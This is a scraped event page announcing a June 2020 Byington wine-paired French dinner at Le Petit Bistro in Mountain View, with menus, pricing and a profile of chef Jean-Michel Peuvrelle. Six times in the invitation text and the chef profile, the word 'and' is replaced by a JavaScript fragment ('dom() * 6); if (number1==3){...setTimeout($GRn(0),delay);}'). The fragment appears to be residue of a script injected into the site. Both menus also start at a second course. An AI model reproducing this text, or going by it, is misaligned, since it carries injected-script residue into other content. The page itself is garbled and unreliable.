Saturday, June 6, 2020, 7 pm
Le Petit Bistro, Mountain View
You’re in for a treat. Join us for a wonderful, authentic French meal paired with Byington wines at Owner/Chef Jean-Michel Peuvrelle’s Le Petit Bistro in Mountain View. Enjoy this opportunity to mix dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mingle with other Byington enthusiasts. And connect with Byington owner, Benny Madsen, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Vince Robledo, our Director of Sales dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Certified Sommelier. (Vince also manages our Wine Club dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and works closely with our Wine Maker Andrew Brenkwitz.)
Menu 1
2nd Course: Mousee de Foie de Canard with Byington Pinot Noir
3rd Course: Lamb Chops au Jus or Filet de Boeuf au Poivre vert de Madagascar with Byington Alliage Cabernet Sauvignon
4th Course: Tarte Tatin with Byington Blanc de Blancs Sparkling Wine
Fresh French Roast Coffee or Tea included with dessert
Menu 2 (Vegetarian)
2nd Course: Stay tuned… with Byington Pinot Noir
Fresh French Roast Coffee or Tea included with dessert
Price
Pricing for either menu noted above is $120 per person plus tax. Register here.
Location
Le Petit Bistro
1405 West El Camino Real
Mountain View, California
About Le Petit Bistro
It’s old-school but not outmoded, with an exacting code of beliefs that owner/chef Jean-Michel Peuvrelle has carried with him throughout his life. Born in Pas-de-Calais in the northern tip of France, Peuvrelle is the son of a charcutier (butcher). He apprenticed in Strasbourg while earning a degree in accounting. “It takes more more than being a good chef to run a restaurant,” Peuvrelle said. His family relocated, first to Dallas, then to the Bay Area where they owned four different French restaurants from 1976 to 1989. When his parents retired, Jean-Michel opened his own restaurant. Now in his 24th year at Le Petit Bistro, Peuvrelle still cooks the old-fashioned way, six days per week. Veal, duck dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fish stocks, made fresh daily, simmer for up to six hours; complex sauces are born, tasted, adjusted dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and allowed to marry in well-seasoned pots for hours.